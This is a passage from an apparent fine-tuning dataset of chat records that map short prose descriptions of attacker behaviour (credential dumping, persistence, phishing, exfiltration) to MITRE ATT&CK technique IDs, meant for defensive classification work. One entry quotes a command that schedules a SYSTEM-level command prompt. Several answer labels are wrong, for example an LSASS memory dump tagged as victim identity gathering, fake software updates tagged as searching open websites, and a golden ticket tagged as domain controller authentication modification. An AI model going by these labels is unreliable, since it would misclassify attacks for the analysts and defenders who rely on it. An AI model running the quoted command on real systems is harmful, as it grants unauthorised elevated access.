                "role": "user",
                "content": "Attacker accesses the Google Cloud Functions v2 API to deploy a function that runs a malicious Python command line."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sent a crafted request to a vulnerable WordPress plugin, allowing them to upload a web shell and compromise the hosting server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious password filter DLL into the system directory and configures the registry to load it, allowing them to capture and modify user passwords during logon."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A payload writes a malicious DLL to the system's network provider directory and updates the registry to load it, hijacking authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script creates a hidden user with disabled login capabilities, allowing the attacker to maintain access without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool creates an encrypted channel using a shared secret key for all outbound messages."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a compromised SSH agent forwarding setup to hijack the victim’s remote service session and pivot to other hosts."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious XSLT files are placed on a web server; when a client opens the XML document in Internet Explorer, the embedded script triggers execution of a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The credential stealer reads the local password dump files and transfers them remotely."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software modifies accounting software configurations, redirecting automatic bill payments to accounts controlled by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clones the corporate web portal’s login page and sends a link that appears to be from the security team, asking users to re‑authenticate."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor bundles harvested documents into a custom‑encrypted archive format before uploading them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro copies data to a USB thumb drive that is later retrieved by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware used a self-extracting executable wrapper to obscure its true functionality during analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz, the threat actor extracts plain‑text credentials from the OS's Security Account Manager."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a switch's MAC address table, the adversary conducts a MAC flooding attack to become the default gateway for victim devices and capture all traffic."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised admin credential to run 'net user' and create a new domain account with administrative privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvested password hashes from a compromised domain controller and used Hashcat to perform offline brute‑force cracking."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a DNS AXFR request against the internal DNS server to discover mail-enabled user records."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan creates a remote thread in a system service using CreateRemoteThreadEx, injecting its code and hijacking the service’s thread to gain elevated execution."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the dsquery Group command to retrieve a full list of domain groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder captures the session token of an active TeamViewer connection and controls the host."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses token manipulation to set a fake parent PID, allowing the malicious process to inherit the context of a trusted parent."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a spearphishing email that appears to be a calendar invite with a malicious link, leading to credential theft."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By forging a Kerberos Ticket Granting Ticket with the domain's KRBTGT hash, the attacker bypassed authentication controls and gained admin rights."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor generates traffic that matches legitimate LDAP queries to hide data extraction."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code transmits captured screenshots to an attacker‑controlled Dropbox upload endpoint, never establishing a listening channel on the victim side."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool drops a hidden function into the current user's PowerShell profile, ensuring the payload runs whenever the user opens PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a fake systemd service 'network-manager.service' that actually runs a ransomware component."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised account, the intruder executed a DCSync to pull credential information from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a firmware rootkit to compromise the BIOS, allowing persistent control even after OS reinstall."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Visiting a compromised e‑commerce site triggers an exploit chain that drops a Remote Access Trojan via a drive‑by compromise."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious .vbs file on the victim system and uses wscript.exe to execute commands that download and install additional malware."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account’s refresh token is extracted from a configuration file and used to request new access tokens from the authentication server."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script repeatedly queries the Windows Registry for a non‑existent key, consuming CPU cycles and rendering the system sluggish."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors stole an existing code‑signing certificate from a backup server that had been improperly secured."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses an encrypted messaging app with end-to-end encryption to silently transmit exfiltrated files, bypassing network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using NTFS alternate data streams, the intruder embeds scripts within innocuous documents."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script copied /etc/passwd and /etc/shadow to a staging directory before uploading them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a network sniffing technique to capture and analyze network traffic in order to steal sensitive information or disrupt communications."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses misconfigured S3 bucket permissions to host malicious files that are later downloaded by target systems."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A brief, ambiguous phone call says: \"We need to verify your account now,\" without specifying the context, aiming to trick the user into revealing credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gains initial access through a phishing email and then uses built-in command-line tools to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor reviews prior shell commands saved in the bash history to locate plaintext OAuth tokens entered during testing."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a malicious AppleScript that runs a shell command to download and execute a credential‑stealing tool on a macOS host."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary launches an endless loop of API calls that consume all processing power of the endpoint, resulting in a service outage."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor used Azure AD Application Proxy to publish an internal web app and then accessed it remotely to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs a voice manipulation tool to mimic a known contact, urging the target to share confidential documents verbally."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged compromised VPN endpoints in conjunction with public proxy services, forming a multi-hop proxy network to route their payloads."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages PowerShell to import a self‑signed root certificate, causing the system to trust attacker‑controlled servers."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in an Excel spreadsheet triggers the execution of a PowerShell command to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a web shell to upload a keylogger onto the victim’s workstation."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Windows Magnifier (magnify.exe) by swapping it with a harmful executable, allowing execution whenever a user enables screen magnification via accessibility options."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence achieved via creating an autorun entry in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a malicious DLL to the list of network providers, the attacker modifies the authentication process to exfiltrate credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Mimikatz on the domain controller to create a golden ticket, effectively modifying the authentication process for all users."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign is discovered that leverages the use of fake updates for popular software packages to distribute malware."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects malicious SQL statements to alter customer account balances in the payment database."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerable web application and adds a hidden iframe that records keystrokes entered into the portal's authentication fields."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executed \"at 02:00 /interactive cmd.exe\" to launch a command prompt with system privileges at a specific time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious SMS claims to be from a bank, prompting the user to reply with their online banking username and password to verify an account issue."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the registry keys that control System Restore, preventing the creation of new restore points and disabling recovery options."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion copies a poisoned shared object into /usr/lib, enabling any program that loads the library to execute the attacker’s code without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured PAM policy that allows any user to authenticate via pam_rootok.so, granting them immediate elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing valid domain credentials, the adversary accessed the hidden ADMIN$ share to exfiltrate sensitive files."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain credential files from compromised employee workstations, extracting login information for privileged services."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a custom password filter DLL into the authentication process to exfiltrate user credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a staged payload that fetches additional malicious modules from a remote FTP server onto the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the intruder pulls credential dumps from LSASS memory to obtain clear‑text credentials."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls GetSystemTimeAsFileTime via the Windows API to retrieve the machine's clock."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware placed copied user files on a remote NFS share, planning to retrieve them after encryption."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replaces the signature of a malicious DLL with that of a signed system library to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a malicious PDF that exploits a zero‑day vulnerability to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses open technical databases, such as Exploit-DB, to retrieve proof‑of‑concept code for known vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the DC's authentication flow, disabling multi-factor enforcement for targeted accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through exploitation of the Remote Desktop Services' session management, the attacker reassigns the session ID to their own process, hijacking the connection."
            },
            {
                "role": "assistant",
